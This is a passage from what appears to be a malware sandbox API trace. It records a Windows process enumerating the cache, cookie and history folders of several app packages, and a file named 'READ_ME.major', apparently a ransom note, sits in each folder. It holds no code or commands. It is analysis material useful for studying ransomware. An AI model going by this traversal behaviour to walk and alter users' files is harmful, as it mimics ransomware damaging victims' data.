dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.240] FindNextFileW (in: hFindFile=0x2f34360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f5ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f5ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.240] FindNextFileW (in: hFindFile=0x2f34360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39f5ffbe, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39f5ffbe, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39f5ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.240] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f344a0 [0229.240] FindNextFileW (in: hFindFile=0x2f344a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.240] FindNextFileW (in: hFindFile=0x2f344a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a01e490, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a01e490, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.240] FindNextFileW (in: hFindFile=0x2f344a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a01e490, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a01e490, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.241] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f343e0 [0229.241] FindNextFileW (in: hFindFile=0x2f343e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.241] FindNextFileW (in: hFindFile=0x2f343e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a01e490, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a01e490, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.241] FindNextFileW (in: hFindFile=0x2f343e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a01e490, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a01e490, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.241] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f346a0 [0229.241] FindNextFileW (in: hFindFile=0x2f346a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.241] FindNextFileW (in: hFindFile=0x2f346a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a01e490, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a01e490, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.241] FindNextFileW (in: hFindFile=0x2f346a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a01e490, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a01e490, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a01e490, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.241] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24faca3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a06aa01, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34420 [0229.241] FindNextFileW (in: hFindFile=0x2f34420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24faca3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a06aa01, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.242] FindNextFileW (in: hFindFile=0x2f34420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a06aa01, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a06aa01, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.242] FindNextFileW (in: hFindFile=0x2f34420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a06aa01, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a06aa01, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.242] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fb785, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34760 [0229.242] FindNextFileW (in: hFindFile=0x2f34760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fb785, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.242] FindNextFileW (in: hFindFile=0x2f34760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a090c0f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a090c0f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.242] FindNextFileW (in: hFindFile=0x2f34760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a090c0f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a090c0f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.242] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc080, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f344e0 [0229.242] FindNextFileW (in: hFindFile=0x2f344e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc080, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.242] FindNextFileW (in: hFindFile=0x2f344e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a090c0f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a090c0f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.242] FindNextFileW (in: hFindFile=0x2f344e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a090c0f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a090c0f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a090c0f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.242] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26377f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a1759d6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34220 [0229.243] FindNextFileW (in: hFindFile=0x2f34220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26377f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a1759d6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.243] FindNextFileW (in: hFindFile=0x2f34220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a1759d6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a1759d6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a1759d6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.243] FindNextFileW (in: hFindFile=0x2f34220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a1759d6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a1759d6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a1759d6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.243] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26389a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a25a8b6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f347a0 [0229.243] FindNextFileW (in: hFindFile=0x2f347a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26389a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a25a8b6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.243] FindNextFileW (in: hFindFile=0x2f347a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a25a8b6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a25a8b6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a25a8b6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.243] FindNextFileW (in: hFindFile=0x2f347a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a25a8b6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a25a8b6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a25a8b6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.243] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26392d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a280bc7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34560 [0229.244] FindNextFileW (in: hFindFile=0x2f34560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26392d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a280bc7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.244] FindNextFileW (in: hFindFile=0x2f34560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a280bc7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a280bc7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a280bc7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.245] FindNextFileW (in: hFindFile=0x2f34560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a280bc7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a280bc7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a280bc7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.245] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271cb8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f342a0 [0229.245] FindNextFileW (in: hFindFile=0x2f342a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271cb8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.245] FindNextFileW (in: hFindFile=0x2f342a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a3fe356, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a3fe356, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.245] FindNextFileW (in: hFindFile=0x2f342a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a3fe356, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a3fe356, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.245] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271d40c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f347e0 [0229.245] FindNextFileW (in: hFindFile=0x2f347e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271d40c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 